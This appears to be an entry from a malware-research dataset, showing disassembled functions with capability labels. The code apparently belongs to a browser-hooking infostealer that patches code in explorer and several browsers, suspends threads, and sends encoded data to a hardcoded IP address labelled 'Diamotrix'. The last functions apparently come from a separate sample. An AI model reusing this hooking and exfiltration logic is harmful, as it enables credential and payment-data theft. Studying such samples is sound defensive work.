joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000493c
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rbx, qword [r8]
and dword [rsp + 0x20], 0
mov rdi, rdx
mov rsi, rcx
test rbx, rbx
jne 0x18000497d
lea rdx, [0x1800304de]
call fcn.1800010e8
jmp 0x180004ab3
xor ebp, ebp
mov rax, rbx
lea r12d, [rbp + 1]
and eax, 3
jne 0x180004997
cmp byte [rbx + rdx - 1], 0x3d
je 0x180004997
xor r14d, r14d
jmp 0x1800049a7
mov r14, r12
cmp rax, 2
ja 0x1800049ac
cmp byte [rbx + rdx - 2], 0x3d
jne 0x1800049ac
xor r15d, r15d
jmp 0x1800049af
mov r15, r12
sub rbx, r14
lea rcx, [rsp + 0x28]
xor r8d, r8d
and rbx, 0xfffffffffffffffc
mov rdx, rbx
shr rdx, 2
lea rax, [r15 + rdx*2]
add rdx, rax
add rdx, r14
call fcn.180004588
lea rcx, [rsp + 0x28]
xor edx, edx
call fcn.1800045e4
lea r11, [0x180031780]
mov r9, rax
test rbx, rbx
je 0x180004a52
lea r8, [rbx - 1]
lea r10, [rdi + 1]
shr r8, 2
add r8, r12
movzx eax, byte [r10]
movzx ecx, byte [r10 - 1]
lea r10, [r10 + 4]
mov edx, dword [r11 + rcx*4]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 3]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 2]
shl edx, 6
or edx, dword [r11 + rax*4]
mov eax, edx
sar eax, 0x10
mov byte [r9 + rbp], al
add rbp, r12
mov eax, edx
sar eax, 8
mov byte [r9 + rbp], al
add rbp, r12
mov byte [r9 + rbp], dl
add rbp, r12
sub r8, r12
jne 0x1800049fe
test r14, r14
je 0x180004a9c
movzx eax, byte [rbx + rdi]
movzx edx, byte [rbx + rdi + 1]
mov ecx, dword [r11 + rax*4]
mov r8d, dword [r11 + rdx*4]
shl ecx, 6
or r8d, ecx
shl r8d, 0xc
mov eax, r8d
sar eax, 0x10
mov byte [r9 + rbp], al
test r15, r15
je 0x180004a9c
movzx eax, byte [rbx + rdi + 2]
sar r8d, 8
mov ecx, dword [r11 + rax*4]
shl ecx, 6
sar ecx, 8
or cl, r8b
mov byte [r9 + rbp + 1], cl
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.180004530
lea rcx, [rsp + 0x28]
call fcn.1800011bc
lea r11, [rsp + 0x50]
mov rax, rsi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x180004b20
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov r9, qword [r8]
and dword [rsp + 0x20], 0
mov rsi, rdx
add r9, 2
mov rbx, r8
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mov r14b, 0x3d
mov r15, rcx
mov r8b, r14b
mul r9
shr rdx, 1
shl rdx, 2
call fcn.180004588
xor edx, edx
mov rcx, r15
call fcn.1800045e4
mov r11, qword [rbx]
mov rbx, qword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov rdi, rax
mov r9, r11
mov rax, r12
xor r8d, r8d
mul r11
shr rdx, 1
lea rcx, [rdx + rdx*2]
sub r9, rcx
sub r11, r9
je 0x180004c20
lea rcx, [r11 - 1]
mov rax, r12
lea rbp, [rsi + 1]
mul rcx
mov r10, rdx
shr r10, 1
inc r10
movzx eax, byte [rbp]
movzx ecx, byte [rbp - 1]
lea rbp, [rbp + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbp - 2]
shl ecx, 8
or ecx, eax
movsxd rdx, ecx
mov rax, rdx
sar rax, 0x12
mov al, byte [rax + rbx]
mov byte [r8 + rdi], al
mov rax, rdx
add r8, 4
sar rax, 0xc
and eax, 0x3f
mov al, byte [rax + rbx]
mov byte [r8 + rdi - 3], al
mov rax, rdx
and edx, 0x3f
sar rax, 6
and eax, 0x3f
mov al, byte [rax + rbx]
mov byte [r8 + rdi - 2], al
mov al, byte [rdx + rbx]
mov byte [r8 + rdi - 1], al
dec r10
jne 0x180004bbd
test r9, r9
je 0x180004c91
dec r9
je 0x180004c3c
movzx eax, byte [r11 + rsi]
movzx edx, byte [r11 + rsi + 1]
shl eax, 8
or edx, eax
jmp 0x180004c41
movzx edx, byte [r11 + rsi]
mov eax, edx
mov ecx, edx
sar eax, 2
sar ecx, 0xa
and ecx, 0x3f
test r9, r9
cmovne eax, ecx
cdqe
mov cl, byte [rax + rbx]
mov eax, edx
mov byte [r8 + rdi], cl
and eax, 3
mov ecx, edx
sar ecx, 4
shl eax, 4
and ecx, 0x3f
test r9, r9
cmovne eax, ecx
cdqe
mov cl, byte [rax + rbx]
mov byte [r8 + rdi + 1], cl
je 0x180004c8c
and edx, 0xf
shl edx, 2
movsxd rax, edx
mov r14b, byte [rax + rbx]
mov byte [r8 + rdi + 2], r14b
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov rax, r15
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x1800053f4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rdi, rcx
lea rcx, [rax - 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rsi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x18000543b
lea rax, [rdi - 0x40000000]
cmp rsi, rax
cmovb rsi, rax
mov rbx, qword [0x180049910]
lea rax, [rdi + 0x40000000]
cmp rbp, rax
cmova rbp, rax
sub rbp, 0xfff
test rbx, rbx
je 0x180005476
cmp rbx, rsi
jb 0x180005471
cmp rbx, rbp
jae 0x180005471
cmp qword [rbx + 8], 0
jne 0x180005543
mov rbx, qword [rbx]
jmp 0x180005457
mov r14, rdi
cmp rdi, rsi
jb 0x1800054bd
mov r8d, dword [rsp + 0x48]
mov rdx, rsi
mov rcx, r14
call fcn.180005318
mov r14, rax
test rax, rax
je 0x1800054bd
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180005503
cmp r14, rsi
jae 0x18000547e
test rbx, rbx
jmp 0x1800054fa
mov r8d, dword [rsp + 0x48]
mov rdx, rbp
mov rcx, rdi
call fcn.18000528c
mov rdi, rax
test rax, rax
je 0x180005543
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180005503
cmp rdi, rbp
jbe 0x1800054c2
jmp 0x180005543
and qword [rbx + 8], 0
and dword [rbx + 0x10], 0
lea rcx, [rbx + 0x40]
mov rdx, rcx
sub rdx, rbx
mov rax, qword [rbx + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rbx + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x180005516
mov rax, qword [0x180049910]
mov qword [rbx], rax
mov qword [0x180049910], rbx
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop r14
ret
Function at 0x180005de4
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov ebx, ecx
mov esi, edx
mov ebp, 5
imul rbx, rbx, 0x38
add rbx, qword [0x180049900]
test byte [rbx + 0x20], 1
mov rdi, qword [rbx]
je 0x180005e1d
sub rdi, rbp
mov ebp, 7
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180005e42
mov eax, 0xa
jmp 0x180005ece
test esi, esi
je 0x180005e64
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180005e85
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180005e85
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180005e7f
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180005e85
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
mov al, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x180005f24
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180006018
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
jmp 0x180006007
cmp dword [rsp + 0x20], 0x10
jb 0x180005ff2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180005ff2
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180005ff2
mov r8, qword [rbx]
test r8, r8
jne 0x180005fb3
mov dword [rbx + 8], 0x80
mov rcx, qword [0x180041908]
xor edx, edx
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x18000600f
jmp 0x180005fe2
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x180005fe2
mov rcx, qword [0x180041908]
lea r9d, [rax + rax]
xor edx, edx
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x18000600f
mov ecx, dword [rbx + 8]
mov qword [rbx], rax
add ecx, ecx
mov dword [rbx + 8], ecx
mov edx, dword [rbx + 0xc]
mov rcx, qword [rbx]
mov eax, dword [rsp + 0x28]
mov dword [rcx + rdx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180005f62
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1800060dc
Capabilities:
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
and qword [rcx], 0
and dword [rcx + 8], 0
and dword [rcx + 0xc], 0
mov ebp, r8d
mov r14d, edx
mov rbx, rcx
call fcn.180005f24
cmp qword [rbx], 0
je 0x18000615d
xor edi, edi
cmp dword [rbx + 0xc], edi
jbe 0x18000615d
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180006156
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rsi
call fcn.1800063dc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x18000611c
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1800064dc
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x180006540
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x18000652e
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180006527
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x1800064fb
mov r8, qword [rbx]
mov rcx, qword [0x180041908]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180006e70
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
je 0x180006ec7
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov esi, edx
mov rdi, rcx
xor ebx, ebx
mov rcx, rbp
call qword [0x180040728]
xor edx, edx
mov r8d, eax
mov eax, ebx
inc ebx
div r8d
mov al, byte [rdx + rbp]
xor byte [rdi], al
inc rdi
cmp ebx, esi
jb 0x180006e92
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18000d674
Capabilities:
Enumerate process modules

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x198]
sub rsp, 0x290
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, edx
mov rbx, rcx
and dword [rsp + 0x38], 0
lea rcx, [rsp + 0x20]
call fcn.18000bea8
nop
lea eax, [rdi + 1]
test eax, 0xfffffffe
jne 0x18000d6be
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov edx, edi
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000d70a
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
jmp 0x18000d706
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.180013438
lea rdx, [rsp + 0x50]
mov rcx, rdi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x18000d6ea
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.18000bed0
nop
lea rcx, [rsp + 0x20]
call fcn.18000c554
mov rax, rbx
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x18000e710
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x18000e8ba
cmp ecx, 0x7c
je 0x18000e8ba
cmp ecx, 0x29
jne 0x18000e755
cmp dword [rdi + 0x1c], 0
jne 0x18000e8ba
test dword [rdi + 0x80], 0x10000000
je 0x18000e8c5
cmp ecx, 0x2e
jne 0x18000e770
lea rcx, [rdi + 0x40]
call fcn.18000e29c
mov rcx, rdi
call fcn.180011584
jmp 0x18000e8a6
cmp ecx, 0x5c
jne 0x18000e7d3
mov rcx, rdi
call fcn.180011584
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x18000e7a6
cmp byte [rdi + 0x78], 0x62
jne 0x18000e7a6
lea rcx, [rdi + 0x40]
call fcn.18000e704
mov rcx, rdi
call fcn.180011584
jmp 0x18000e8ae
test eax, eax
je 0x18000e7c6
cmp byte [rdi + 0x78], 0x42
jne 0x18000e7c6
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000e704
mov rcx, rbx
call fcn.18001152c
jmp 0x18000e799
mov rcx, rdi
call fcn.18000e970
jmp 0x18000e8a6
cmp ecx, 0x5b
jne 0x18000e7fe
mov rcx, rdi
call fcn.180011584
mov rcx, rdi
call fcn.18000ef28
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.18001016c
jmp 0x18000e8a6
cmp ecx, 0x28
jne 0x18000e828
mov rcx, rdi
call fcn.180011584
mov rcx, rdi
call fcn.1800123d0
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.18001016c
jmp 0x18000e8a2
cmp ecx, 0x5e
jne 0x18000e83b
lea rcx, [rdi + 0x40]
call fcn.18000e0a8
jmp 0x18000e799
cmp ecx, 0x24
jne 0x18000e84e
lea rcx, [rdi + 0x40]
call fcn.18000e328
jmp 0x18000e799
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18000e8ef
cmp ecx, 0x3f
je 0x18000e8ef
cmp ecx, 0x7b
je 0x18000e8ef
cmp ecx, 0x7d
jne 0x18000e87d
test dword [rdi + 0x80], 0x10000000
je 0x18000e8d3
cmp ecx, 0x5d
jne 0x18000e88e
test dword [rdi + 0x80], 0x10000000
je 0x18000e8e1
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e0b4
mov rcx, rdi
call fcn.180011584
test bl, bl
je 0x18000e8ae
mov rcx, rdi
call fcn.18001162c
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x18000e724
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180010128
int3
mov edx, 6
mov rcx, rdi
call fcn.180010128
int3
mov edx, 4
mov rcx, rdi
call fcn.180010128
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180010128
int3
Function at 0x180016218
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x1800163c2
cmp ecx, 0x7c
je 0x1800163c2
cmp ecx, 0x29
jne 0x18001625d
cmp dword [rdi + 0x1c], 0
jne 0x1800163c2
test dword [rdi + 0x80], 0x10000000
je 0x1800163cd
cmp ecx, 0x2e
jne 0x180016278
lea rcx, [rdi + 0x40]
call fcn.18000e29c
mov rcx, rdi
call fcn.180017fa0
jmp 0x1800163ae
cmp ecx, 0x5c
jne 0x1800162db
mov rcx, rdi
call fcn.180017fa0
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x1800162ae
cmp byte [rdi + 0x78], 0x62
jne 0x1800162ae
lea rcx, [rdi + 0x40]
call fcn.18000e704
mov rcx, rdi
call fcn.180017fa0
jmp 0x1800163b6
test eax, eax
je 0x1800162ce
cmp byte [rdi + 0x78], 0x42
jne 0x1800162ce
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000e704
mov rcx, rbx
call fcn.18001152c
jmp 0x1800162a1
mov rcx, rdi
call fcn.180016408
jmp 0x1800163ae
cmp ecx, 0x5b
jne 0x180016306
mov rcx, rdi
call fcn.180017fa0
mov rcx, rdi
call fcn.1800166e0
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.18001769c
jmp 0x1800163ae
cmp ecx, 0x28
jne 0x180016330
mov rcx, rdi
call fcn.180017fa0
mov rcx, rdi
call fcn.180018740
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.18001769c
jmp 0x1800163aa
cmp ecx, 0x5e
jne 0x180016343
lea rcx, [rdi + 0x40]
call fcn.18000e0a8
jmp 0x1800162a1
cmp ecx, 0x24
jne 0x180016356
lea rcx, [rdi + 0x40]
call fcn.18000e328
jmp 0x1800162a1
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x1800163f7
cmp ecx, 0x3f
je 0x1800163f7
cmp ecx, 0x7b
je 0x1800163f7
cmp ecx, 0x7d
jne 0x180016385
test dword [rdi + 0x80], 0x10000000
je 0x1800163db
cmp ecx, 0x5d
jne 0x180016396
test dword [rdi + 0x80], 0x10000000
je 0x1800163e9
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e0b4
mov rcx, rdi
call fcn.180017fa0
test bl, bl
je 0x1800163b6
mov rcx, rdi
call fcn.18001800c
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x18001622c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180010128
int3
mov edx, 6
mov rcx, rdi
call fcn.180010128
int3
mov edx, 4
mov rcx, rdi
call fcn.180010128
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180010128
int3
Function at 0x18001acc8
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.180007020
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [0x180040708]
lea rcx, [rsp + 0x30]
call qword [0x180040710]
lea rdx, str.explorer.exe
mov rcx, rax
mov rbx, rax
call qword [0x180040788]
test eax, eax
jne 0x18001ad4a
call fcn.1800068bc
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x1800304de]
lea r8, [0x180015974]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.180007694
lea rdx, str.firefox.exe
mov rcx, rbx
call qword [0x180040788]
test eax, eax
jne 0x18001ad68
call fcn.1800068bc
call fcn.180018aac
lea rdx, str.chrome.exe
mov rcx, rbx
call qword [0x180040788]
test eax, eax
jne 0x18001ad86
call fcn.1800068bc
call fcn.18000d73c
lea rdx, str.msedge.exe
mov rcx, rbx
call qword [0x180040788]
test eax, eax
jne 0x18001ada4
call fcn.1800068bc
call fcn.18000d8a0
lea rdx, str.opera.exe
mov rcx, rbx
call qword [0x180040788]
test eax, eax
jne 0x18001adc4
call fcn.1800068bc
call fcn.18000d9f8
jmp 0x18001ade7
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x1800304de]
lea r8, [0x180015974]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
add rsp, 0x140
pop rbx
ret
Function at 0x18001b744
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, rcx
or r15, 0xffffffffffffffff
mov rdi, r15
and qword [rbp + 0x188], 0
mov ecx, 0x202
lea rdx, [rbp - 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18001b79d
lea eax, [r15 + 2]
jmp 0x18001b957
xor edx, edx
lea r8d, [rdx + 0x30]
lea rcx, [rsp + 0x40]
call fcn.180007020
mov dword [rsp + 0x44], 2
mov esi, 1
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x4c], 6
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8968
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001b819
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8967
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001b819
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001b955
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x18001b86f
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, r15
je 0x18001b80e
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, r15d
jne 0x18001b868
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, r15
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001b825
mov rbx, qword [rbp + 0x188]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, r15
je 0x18001b80e
xor r9d, r9d
lea r8d, [r9 + 9]
lea rdx, str.Diamotrix
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, r15d
jne 0x18001b8a7
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18001b80e
lea rdx, str.Diamotrix
lea rcx, [rbp - 0x68]
call fcn.1800010e8
nop
mov rdx, r14
lea rcx, [rsp + 0x78]
call fcn.1800010e8
nop
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x20]
call fcn.1800046d4
nop
lea rcx, [rsp + 0x78]
call fcn.1800011bc
nop
lea rcx, [rbp - 0x68]
call fcn.1800011bc
lea rcx, [rsp + 0x20]
call fcn.180013224
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.180004cb4
mov rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
cmp eax, r15d
je 0x18001b92f
mov edx, esi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
cmp eax, r15d
jne 0x18001b93d
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001b94b
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov eax, esi
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140011145
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x1400125f0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x70
lea rbp, [rsp + 0x20]
lea rcx, [0x14001f174]
call fcn.1400111e5
nop
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp], eax
cmp dword [rbp], 0xffffffff
je 0x140012632
mov eax, dword [rbp]
and eax, 0x10
test eax, eax
je 0x140012632
mov dword [rbp + 0x44], 1
jmp 0x140012639
mov dword [rbp + 0x44], 0
movzx eax, byte [rbp + 0x44]
lea rsp, [rbp + 0x50]
pop rbp
ret

Function at 0x140011203
Capabilities:
Create directory

Disassembly:
jmp 0x140012420
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x20]
lea rcx, [0x14001f174]
call fcn.1400111e5
nop
mov dword [rbp], 0
mov dword [rbp + 4], 0
lea rcx, [rbp + 8]
call fcn.1400111ef
nop
mov edx, 0x400
lea rcx, [rbp + 8]
call fcn.14001105f
nop
xor eax, eax
cmp eax, 1
je 0x14001253c
movsxd rax, dword [rbp]
mov rcx, qword [rbp + 0x70]
movzx eax, word [rcx + rax*2]
mov word [rbp + 0x5c], ax
mov eax, dword [rbp]
inc eax
mov dword [rbp], eax
movzx eax, word [rbp + 0x5c]
mov word [rbp + 0x18], ax
movzx eax, word [rbp + 0x18]
test eax, eax
jne 0x1400124d5
cmp dword [rbp + 4], 1
jl 0x1400124d3
lea rcx, [rbp + 8]
call fcn.1400111d1
mov rcx, rax
call fcn.140011145
movzx eax, al
test eax, eax
jne 0x1400124d3
lea rcx, [rbp + 8]
call fcn.1400111d1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400124d3
xor al, al
jmp 0x140012545
jmp 0x14001253c
movzx eax, word [rbp + 0x18]
cmp eax, 0x5c
je 0x1400124e7
movzx eax, word [rbp + 0x18]
cmp eax, 0x2f
jne 0x140012529
